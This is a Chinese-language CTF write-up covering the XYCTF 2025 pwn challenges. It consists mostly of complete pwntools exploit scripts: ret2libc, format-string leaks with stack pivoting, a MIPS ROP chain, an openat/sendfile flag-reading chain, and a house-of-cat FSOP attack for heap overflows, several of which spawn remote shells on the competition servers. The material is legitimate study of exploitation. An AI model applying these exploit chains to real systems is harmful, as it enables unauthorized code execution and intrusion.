XYCTF 2025 pwn 部分writeup
Ret2libc’s Revenge stdout被设置为无缓冲,无法直接泄露地址,通过溢出多次循环执行puts把缓冲区填满,在最后一步填入可leak的地址,然后就是ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 from pwn import *elf = ELF('../ctf_file/attachment' ) context.binary = elf libc = ELF("../just_libc/libc6_2.35-0ubuntu3.9_amd64.so" ) def start (): if args.R: return remote("8.147.132.32" ,18280 ) io = process(elf.path) if args.G: gdb.attach(io, SET_TERMINAL+"b *0x401260" ) return io def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) io = start() and_rsi_0 = 0x4010E4 pop_rbp = 0x000000000040117d gadget = 0x4010EB mov_rdi_rsi = 0x401180 pd = b'a' *(0x220 -4 )+p32(0x220 +8 -3 ) pd += p64(0x40128D ) sleep(1 ) for i in range (214 ): sl(pd) pd = b'a' *(0x220 -4 )+p32(0x220 +8 -3 ) pd += p64(and_rsi_0) pd += p64(pop_rbp) + p64(0x400600 -0x20 ) pd += p64(gadget) pd += p64(mov_rdi_rsi) pd += p64(elf.plt['puts' ]) pd += p64(0x40128D ) sl(pd) libc_base = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))-libc.symbols[b"puts" ] lg("libc_base" ) libc_system = libc_base + libc.symbols[b'system' ] ret = 0x4011FE bin_sh = libc_base + next (libc.search(b"/bin/sh" )) pop_rdi = libc_base +next (libc.search(asm("pop rdi; ret" ))) pd = b'a' *(0x220 -4 )+p32(0x220 +8 -3 ) pd += p64(ret) pd += p64(pop_rdi) pd += p64(bin_sh) pd += p64(libc_system) sla("Ret" ,pd) io.interactive()
girlfriend 字符串格式化漏洞泄露地址,rop写进bss段,栈迁移即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import *elf = ELF('../ctf_file/girlfriend.patch' ) context.binary = elf libc = elf.libc def start (): if args.R: return remote("47.94.172.18" ,26644 ) io = process(elf.path) if args.G: gdb.attach(io, SET_TERMINAL+"b *$rebase(0x1676)" ) return io def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) io = start() def choice (idx ): sla(b'Choice:' , str (idx)) choice(3 ) sla(b'name first' ,b'a' *0x30 +p32(0x10000000 )+p32(0 )+p32(0xffffff00 )) choice(3 ) sla(b'name first' ,b'%15$p.%17$p.%19$p' ) ru(b'0x' ) canary = int (io.recvuntil(b'.' , drop=True ),16 ) lg("canary" ) libc_base = int (io.recvuntil(b'.' , drop=True ),16 ) - 0x29d90 lg("libc_base" ) pie_base = int (io.recvuntil(b'\n' , drop=True ),16 ) - 0x1817 lg("pie_base" ) pop_rdi = 0x000000000002a3e5 + libc_base pop_rsi = 0x000000000002be51 + libc_base pop_rdx_r12 = 0x000000000011f2e7 + libc_base pop_rax = 0x0000000000045eb0 + libc_base syscall_ret = 0x91316 + libc_base leave_ret = 0x000000000004da83 + libc_base mprotect = libc.symbols['mprotect' ] + libc_base read = libc.symbols['read' ] + libc_base bss = 0x4060 + pie_base + 0x200 rop = p64(pop_rdi) + p64(pie_base+0x4000 ) rop += p64(pop_rsi) + p64(0x1000 ) rop += p64(pop_rdx_r12) + p64(7 ) + p64(0 ) rop += p64(mprotect) rop += p64(pop_rdi) + p64(0 ) rop += p64(pop_rsi) + p64(bss+0x700 ) rop += p64(pop_rdx_r12) + p64(0x100 ) + p64(0 ) rop += p64(read) + p64(bss+0x700 ) choice(3 ) sla(b'name first' ,b'a' *0x30 +p32(0x10000000 )+p32(0 )+p32(0xffffff00 )+p32(0 ) + rop) choice(1 ) pd = b'a' *0x38 +p64(canary)+p64(pie_base+0x4060 +0x40 -8 )+p64(leave_ret) pause() sa(b'to her?' ,pd) pause() sl(asm(shellcraft.openat(0 , '/flag' , 0 , 0 )+shellcraft.sendfile(1 ,3 ,0 ,0x100 ))) io.interactive()
明日方舟寻访模拟器 根据每次抽卡数量计算动态计算总数,构造出sh,即0x6873,脚本有个局限性,有可能较大也有可能小于等于10抽,小于10抽时可以优化脚本进行对颜色字符的判断,但是比较麻烦,爆破一下就行了,然后溢出执行system,这里本来用plt表来执行system,但是无法栈平衡,又考虑do_system,但是并不知道libc地址,所以用程序中已有的call system即可达到栈平衡
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 from pwn import *elf = ELF('../ctf_file/arknights' ) context.binary = elf libc = elf.libc def start (): if args.R: return remote("47.94.217.82" ,22536 ) io = process(elf.path) if args.G: gdb.attach(io, SET_TERMINAL+"b *0x40191B" ) return io def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) io = start() def employ (count ): sl("" ) sla('抽卡' ,b'3' ) sla('次数:' ,str (count)) bss = 0x405100 +0x700 target = 26739 bin_sh = 0x405be8 pop_rdi = 0x00000000004018e5 ret = 0x000000000040101a while True : io = remote("47.94.217.82" ,22536 ) star_4 = 0 while True : count = (target - star_4) * 2 if (target - star_4)*2 > 10000 : count = 10000 employ(count) ru('4星 ' ) star_4 += int (io.recvuntil(" " ,drop=True ),10 ) print (f"star_4:{star_4} " ) if star_4 == target: print ("success" ) sl("a" ) sla("抽卡" ,b'4' ) pd = b'a' *0x40 +p64(bss+0x700 )+p64(pop_rdi)+p64(bin_sh)+p64(0x4018FC ) sla('退出' ,b'1' ) sa('名字:' ,pd) sleep(0.5 ) sl("exec 1>&2" ) io.interactive() if star_4 > target: print ("to much" ) io.close() break if target - star_4 < 6 : print ("less than 6" ) io.close() break
EZ3.0 mips架构的pwn,有system,利用内置gadget设置$a0并跳转到system即可
1 2 3 lw $a0, 8($sp) lw $t9, 4($sp) jalr $t9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 from pwn import *elf = ELF('../ctf_file/EZ3.0' ) context.binary = elf import subprocessdef start (): if args.R: return remote("39.106.48.123" ,26447 ) elif args.G: io = process(['qemu-mipsel' ,'-g' ,'1234' ,'-L' ,'/usr/mipsel-linux-gnu/' ,elf.path]) subprocess.Popen([ 'gnome-terminal' , '--geometry=170x59+75+70' , '--' , 'bash' , '-c' , f"gdb-multiarch -ex 'file {elf.path} ' -ex 'target remote 127.0.0.1:1234'; exec bash" ]) else : io = process(['qemu-mipsel' ,'-L' ,'/usr/mipsel-linux-gnu/' ,elf.path]) return io def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) io = start() gadget = 0x400A20 """ lw $a0, 8($sp) lw $t9, 4($sp) jalr $t9 """ cat_flag = 0x411010 system = 0x4009EC pd = b'a' *0x20 + p32(0xdeadbeef )+ p32(gadget) + p32(0xdeadbeef ) pd += p32(system)+p32(cat_flag) pause() sa(b'> ' ,pd) io.interactive()
奶龙回家 选1可泄露地址,先改v19提高循坏次数,再改v17为6跳过v17==5的判断避免执行额外的syscall,然后用在返回地址布置rop,open用不了?试了半天用openat才行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 from pwn import *elf = ELF('../ctf_file/nailong' ) context.binary = elf libc = ELF('/home/feichai/glibc-all-in-one/libs/2.35-0ubuntu3.9_amd64/libc.so.6' ) def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) from ctypes import *libcc = CDLL(elf.libc.path) libcc.srand.argtypes = [c_uint] def choice (idx ): sla(b'chose 4' ,str (idx)) def write_ (addr ): choice(1 ) sa(b"want do?" ,str (addr)) def read_ (addr,content ): choice(2 ) sa(b"want do?" ,str (addr)) sa(b'you want\n' ,content) while True : libcc.srand(libcc.time(0 )) number = libcc.rand() % 432 + 80 io = remote("47.94.217.82" ,32834 ) ru(b"rbp + offset:" ) stack = int (io.recvuntil("end" , drop=True ),10 ) - number lg("stack" ) if stack % 0x10 == 0 : break io.close() sla(b'lou_ma' ,b'1' ) write_(0x4040C8 ) ru(b'\n' ) libc_base = u64(r(6 ).ljust(8 ,b'\x00' )) - libc.symbols['read' ] lg("libc_base" ) read_(stack-0x803c ,p32(102 )) read_(stack-0x8044 ,p32(6 )) open = libc_base + libc.symbols['open' ]openat = libc_base + libc.symbols['openat' ] read = libc_base + libc.symbols['read' ] write = libc_base + libc.symbols['write' ] ret_addr = stack+8 bss = 0x404140 +0x600 pop_rdi = 0x000000000002a3e5 + libc_base pop_rsi = 0x000000000002be51 + libc_base pop_rdx_r12 = 0x00000000000904a9 + libc_base pop_rax = 0x0000000000045eb0 + libc_base syscall_ret = 0x91316 + libc_base ret = 0x0000000000029139 + libc_base flag_str = 0x404700 flag_text = 0x404700 +0x100 def write_sign (): rop = p64(pop_rdi) + p64(1 ) rop += p64(pop_rsi) + p64(0x4021F8 ) rop += p64(pop_rdx_r12) + p64(0x50 ) + p64(0 ) rop += p64(pop_rax) + p64(1 ) rop += p64(syscall_ret) return rop rop = b"" rop += write_sign() rop += p64(pop_rdi) + p64(0 ) rop += p64(pop_rsi) + p64(bss) rop += p64(pop_rdx_r12) + p64(0x30 ) + p64(0 ) rop += p64(pop_rax) + p64(0 ) rop += p64(syscall_ret) rop += p64(pop_rdi) + p64(0 ) rop += p64(pop_rsi) + p64(bss) rop += p64(pop_rdx_r12) + p64(0 ) + p64(0 ) rop += p64(pop_rax) + p64(257 ) rop += p64(syscall_ret) rop += p64(pop_rdi) + p64(3 ) rop += p64(pop_rsi) + p64(bss+0x100 ) rop += p64(pop_rdx_r12) + p64(0x50 ) + p64(0 ) rop += p64(pop_rax) + p64(0 ) rop += p64(syscall_ret) rop += p64(pop_rdi) + p64(1 ) rop += p64(pop_rsi) + p64(bss+0x100 ) rop += p64(pop_rdx_r12) + p64(0x50 ) + p64(0 ) rop += p64(pop_rax) + p64(1 ) rop += p64(syscall_ret) print (len (rop)//4 +2 )context.log_level = 'debug' for i in range (len (rop)//4 ): read_(ret_addr+i*4 ,rop[i*4 :i*4 +4 ]) sa("xiao_peng" ,b'/flag\x00\x00\x00' ) io.interactive()
bot protobuf协议,逆出来后如下
1 2 3 4 5 6 7 8 9 syntax = "proto2" ; message devicemsg { required int32 id = 1 ; required string sender = 2 ; required uint32 len = 3 ; required bytes content = 4 ; required int32 actionid = 5 ; }
然后有个堆溢出,通过0级可以控制1级指针,chunk[idx]存着返回地址,不可修改,会进行判断,chunk[idx]+8可以修改,所以要先泄露出pie地址,计算bss段中stdout的地址,把chunk[1]+8的指针替换为stdout,泄露出libc,然后再把chunk[1]+8替换为libc中的stdout,再把fake_IO_FILE写进stdout,通过puts触发house of cat,完成getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 from pwn import *import ctf_pb2elf = ELF('../ctf_file/bot' ) context.binary = elf libc = elf.libc def start (): if args.R: return remote("8.147.132.32" ,20003 ) io = process(elf.path) if args.G: gdb.attach(io, SET_TERMINAL+"b *$rebase(0x85E2)\nb *$rebase(0x82F8)" ) return io def lg (s ): return info(f'\033[1;33m{f"{s} -->0x{eval (s):02x} " } \033[0m' ) r = lambda a: io.recv(a) ru = lambda a: io.recvuntil(a,timeout=0.2 ) s = lambda a: io.send(a) sa = lambda a,b: io.sendafter(a,b) sl = lambda a: io.sendline(a) sla = lambda a,b: io.sendlineafter(a,b) io = start() def add (idx,size,content=b'aaaa' ): message = ctf_pb2.devicemsg() message.id = idx message.sender = "admin" message.len = size message.content = content message.actionid = 1 data = message.SerializeToString() sa(b'TESTTESTTEST!' , data) def show (idx ): message = ctf_pb2.devicemsg() message.id = idx message.sender = "admin" message.len = 0x30 message.content = b"aaaa" message.actionid = 2 data = message.SerializeToString() sa(b'TESTTESTTEST!' , data) def exit_ (): message = ctf_pb2.devicemsg() message.id = 0 message.sender = "admin" message.len = 0x30 message.content = b"aaaa" message.actionid = 3 data = message.SerializeToString() sa(b'TESTTESTTEST!' , data) add(0 ,0x20 ,b'b' *0x20 ) show(0 ) ru(b'b' *0x20 ) pie_base = u64(r(6 ).ljust(8 ,b'\x00' )) - 0x88a3 lg("pie_base" ) stdout = pie_base + 0xD040 lg("stdout" ) add(0 ,0x30 ,b'b' *0x20 +p64(pie_base+0x88a3 )+p64(stdout)) show(1 ) stdout = u64(ru(b'\x7f' )[-6 :].ljust(8 ,b'\x00' )) libc_base = stdout - 0x21b780 lg("libc_base" ) system = libc_base + libc.sym['system' ] add(0 ,0x30 ,b'b' *0x20 +p64(pie_base+0x88a3 )+p64(stdout)) fake_io_addr = stdout fake_IO_FILE = b'' fake_IO_FILE += p32(0x01018001 )+b";sh\x00" fake_IO_FILE = fake_IO_FILE.ljust(0x50 ,b'\x00' ) fake_IO_FILE += p64(1 ) fake_IO_FILE += p64(system) fake_IO_FILE = fake_IO_FILE.ljust(0xa0 ,b'\x00' ) fake_IO_FILE += p64(fake_io_addr+0x30 ) fake_IO_FILE = fake_IO_FILE.ljust(0xc0 ,b'\x00' ) fake_IO_FILE += p64(0 ) fake_IO_FILE = fake_IO_FILE.ljust(0xd8 ,b'\x00' ) fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps' ]+0x10 ) fake_IO_FILE += p64(0 )*6 fake_IO_FILE += p64(fake_io_addr+0x40 ) add(1 ,len (fake_IO_FILE),fake_IO_FILE) io.interactive()
heap2本来要打house of cat去FSOP,但是不知道是不是c++的原因,exit函数中循环了很多次把rcx置零了,导致没办法getshell,后面去查看了下原因,好像是因为c++有很多析构函数?具体不清楚,看了别的师傅使用house of apple2去打的,得好好补补io file了
web苦手会不了一点,不懂web,慢慢来吧,加油!